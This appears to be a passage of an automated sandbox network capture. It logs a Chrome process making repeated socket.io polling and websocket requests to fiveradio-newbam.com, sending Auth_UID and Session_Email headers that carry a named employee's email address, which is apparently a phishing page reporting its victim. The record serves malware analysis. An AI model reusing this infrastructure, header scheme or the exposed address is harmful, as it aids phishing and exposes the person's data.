2024-06-20 11:54:50 UTC	641	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:50 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m9JLuG10%2FtHKQe2dU85kOkeTOrYjrUuXyiGsYxfKQkTrozz%2BLJb04TaQSbG3d6%2FW5EtBjCtbOS0U9nO7Y0JdDbeEtuj%2FXHV5GvgngUg%2BPSxOR%2BKGshu8qkc1m3EIrs4fNdwEJG6LOg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9101bf5342de-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:50 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 6f 77 33 57 76 54 78 52 5f 63 51 6f 68 76 54 4b 41 41 57 78 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"ow3WvTxR_cQohvTKAAWx","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49768	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:51 UTC	388	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVzBj HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:51 UTC	633	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:51 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YPLBO0iGoR9IORp0o5g3sdZA77XZKvRBl8Z4VfOS2TN7quCpesTlYv30WJlhU7ECoUlfTfmXMXNLL1nS6Ju%2BkT6mX697FrB1wB2mrMpZPHKg%2BRH4M15DV89Jmot6o5FWUjcnBCoUAw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9105ce50192c-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:51 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 58 74 78 33 57 33 63 75 38 73 71 33 47 4b 5a 59 41 41 57 79 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"Xtx3W3cu8sq3GKZYAAWy","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49770	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:51 UTC	541	OUT	GET /socket.io/?EIO=4&transport=websocket&sid=ow3WvTxR_cQohvTKAAWx HTTP/1.1 Host: fiveradio-newbam.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: null Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: vQs0bD8q1Kkx831NaXuXGQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-06-20 11:54:51 UTC	617	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:51 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eN4nFBrRay26rOzBPOdgTKzZRaxPPLLk3Ul5C3a2rA5DzYcJVnS0GAnlGcFHjy%2BthGJMQymzIYEcBleoYKtfIQv0x1dTmWGTz%2F2YuCs4ClhPQ%2BiECH9eXLw6pVRYQLFVeMgpavgw5A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9105fc6c428f-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:51 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-06-20 11:54:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49769	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:51 UTC	530	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rVzaq&sid=ow3WvTxR_cQohvTKAAWx HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:51 UTC	727	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:51 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eyKYtzAFJ9tqeUNBhmABxa3iUM9ERSfpk8iOfLD46msOcl8ccsiMDzFKtGLbGXvagnXngzEhYyy8Ny8%2BwoEMiasrH7jilJw4ixSOrAI74yrzmLkxhpsQQ0cXYZxapUZzneAOijnE%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9105f9e58cc3-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49771	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:51 UTC	529	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rVzar&sid=ow3WvTxR_cQohvTKAAWx HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:51 UTC	727	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:51 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g%2BFebiOVIxU9POzqtf1KuEyUCnpzp5ozIsHBALXrqapSMLFYbCRZRGSbcEyXRWuwxvdNWw6gXvHv3FLeG%2B0m5oMBxkCqJsOVItV4zTLhpGaanBvQnxA2gNGcUuVwkjkCFDQmY7auHA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9105f9584400-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49772	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:51 UTC	723	OUT	POST /socket.io/?EIO=4&transport=polling&t=P0rVzaq&sid=ow3WvTxR_cQohvTKAAWx HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Content-Length: 2 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Auth_UID: USER21052024UNIQUE1031052124202420240521311024 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: text/plain;charset=UTF-8 Accept: / Session_Email: michael.deretz@aftral.com sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:51 UTC	2	OUT	Data Raw: 34 30 Data Ascii: 40
2024-06-20 11:54:51 UTC	626	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wbkQHtzjveHv%2FN889GF6v7x29zh6QJNNtJunPekievtNX9Zhh%2FLRxJGhhoOJ%2BO1Z8DCznCI8m47xDz6GecXKEcmOnNRgGeBlN7iDKnKnicB9hulrhuIzFmOsqIOMkEb7IC0YaCXSSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9109de806a59-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:51 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-06-20 11:54:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49773	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:51 UTC	663	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVzar&sid=ow3WvTxR_cQohvTKAAWx HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:52 UTC	631	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:52 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0iWgalWuVk2uCmUm0es0UhSfGl%2BOlcSTXpI8u0saooeYi%2FePhbXRWI8DFW8oz37bQGWezsavCn9jEEo39D9QeYk6zn3xaFXYtmrLSL4ZmtC9xEPJ7HDmsnGH8UyzWxfrdk4YP1i07Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9109ddd243a9-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:52 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49775	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:52 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVzaq&sid=ow3WvTxR_cQohvTKAAWx HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:52 UTC	589	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:52 GMT Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wOh7c0c1Z9Q%2F3QsElyBzaeB4w8UanGs3WPCCONXavlpmHPpp8iIMXqzCcZqvbA%2FVbxlfG1hepeBopGT0d8p7LwFLRXRh94rwHUuyVmxcs%2FQ05d2FDsx%2FSn20rXnqcWeRIBMAeu%2Fl7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b910ddf64426a-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49776	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:53 UTC	413	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rVzar&sid=ow3WvTxR_cQohvTKAAWx HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:53 UTC	617	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:53 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BaompYR8d%2FgW5LGdtLBcP17hT1TD7Lw7zEGVkZKeWZVt9N80gkb4eK1xFPD7dsfZFbHBGUQCW5AHDFxqmgx6CEfhmfz8wvelDcJV3YDXLSwCMDYs3bpv9x4LYM%2FFg%2FSXu2THOrBHXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9111bc03421d-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:53 UTC	47	IN	Data Raw: 32 39 0d 0a 7b 22 63 6f 64 65 22 3a 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 53 65 73 73 69 6f 6e 20 49 44 20 75 6e 6b 6e 6f 77 6e 22 7d 0d 0a Data Ascii: 29{"code":1,"message":"Session ID unknown"}
2024-06-20 11:54:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49778	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:56 UTC	504	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rV-ov HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:56 UTC	725	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:56 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zwAwY34fuwXYdaYDPnxuXHr9p59tq07vONqshC7B49CZNwPAZkwXr09zwPWXkrZqW3TehN7Rt6tyVB7ut2fGRge0YBPI7NlMvJH9wwa1NNm22mW82l0blubwd6f%2FObr8kLXHsmSgWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b9124b8878c87-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49780	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:56 UTC	638	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rV-ov HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Auth_UID: USER21052024UNIQUE1031052124202420240521311024 Session_Email: michael.deretz@aftral.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:56 UTC	637	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:56 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ahtW5J1pa%2FnWBGwywbgp3Sru5XfLYKn5Lh260v3bmHMcqUjZqyvjVb%2FOFTaf4Q2sbdDFjBoHCDoehS4iOPhKQoNqe7bcPck%2FwHH7PX3V68zSmNMVUgHX%2BKXsiHUuwipCwxPq87H5cw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b91289d8c41bb-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:56 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 2d 58 70 56 48 45 73 30 4d 5a 70 6d 72 69 4b 52 41 41 57 32 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"-XpVHEs0MZpmriKRAAW2","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49781	172.67.196.150	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:57 UTC	388	OUT	GET /socket.io/?EIO=4&transport=polling&t=P0rV-ov HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:57 UTC	643	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:57 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 118 Connection: close Access-Control-Allow-Origin: * cache-control: no-store CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fpGD%2F9hpzZ4NUSe594IJo%2FBOtyQKmeGhjy7EAPuybcn4JjM4s%2BI2Apc%2FCDmYbgIDIHjIlWL9NxgGJqkwMcWgT5BCgD%2F%2BXbdvv0if6Jc0MaJOD%2BoSh6UoRF0Ht6zLOOdMka29QusZDw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b912c6f3a4327-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:57 UTC	118	IN	Data Raw: 30 7b 22 73 69 64 22 3a 22 62 41 41 58 4d 74 39 56 56 59 46 4b 36 4e 67 61 41 41 57 33 22 2c 22 75 70 67 72 61 64 65 73 22 3a 5b 22 77 65 62 73 6f 63 6b 65 74 22 5d 2c 22 70 69 6e 67 49 6e 74 65 72 76 61 6c 22 3a 32 35 30 30 30 2c 22 70 69 6e 67 54 69 6d 65 6f 75 74 22 3a 32 30 30 30 30 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 3a 31 30 30 30 30 30 30 7d Data Ascii: 0{"sid":"bAAXMt9VVYFK6NgaAAW3","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.16	49782	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:57 UTC	530	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rV_5z&sid=-XpVHEs0MZpmriKRAAW2 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:57 UTC	729	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:57 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xHOoA5uZJ5%2BlDmOLoHYmg6rugqq7QlXYtku1vMofbJLh9vVA5dLusfMZON1xMj01Miotj2LzO2S2Fya7PRJQrz9Oae%2BTSKVVzBt%2BcYHtu2Qxy33b9CZz8vXsXRHDVmgrVvZmJahUdg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b912caa9f4325-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.16	49784	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:57 UTC	529	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rV_5-&sid=-XpVHEs0MZpmriKRAAW2 HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:57 UTC	729	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:57 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JhIwCg07mqCnyss9nf7SdXSWTaSER1ZnA7X7hw9Wf7XBmrCxxuNN5k5PBl4E55aXwnzOmTZjQfAwStEO%2F9GJsW859AZrHSxnxSabkbjTS%2BkI22A1mYCY14v%2BAWrJkgyH5RYPQNGIBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b912cc836c47f-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.16	49783	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:57 UTC	541	OUT	GET /socket.io/?EIO=4&transport=websocket&sid=-XpVHEs0MZpmriKRAAW2 HTTP/1.1 Host: fiveradio-newbam.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: null Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: u+pdLsetYsXvtYCNWiGguw== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-06-20 11:54:57 UTC	611	IN	HTTP/1.1 400 Bad Request Date: Thu, 20 Jun 2024 11:54:57 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ac2dBaR639mu07FSBgp1s2NdPTvmwQMHNdfGQyWoy61av1xNiTeLS0iVgj9kocb1ZFuTV9f5lFDrPrbNvAugdofyRCLfHc6M1d5RdQaQnkkaAjL0rSpejue3pg93SPECkSLXKWhQw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b912cca2ec348-EWR alt-svc: h3=":443"; ma=86400
2024-06-20 11:54:57 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-06-20 11:54:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.16	49786	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

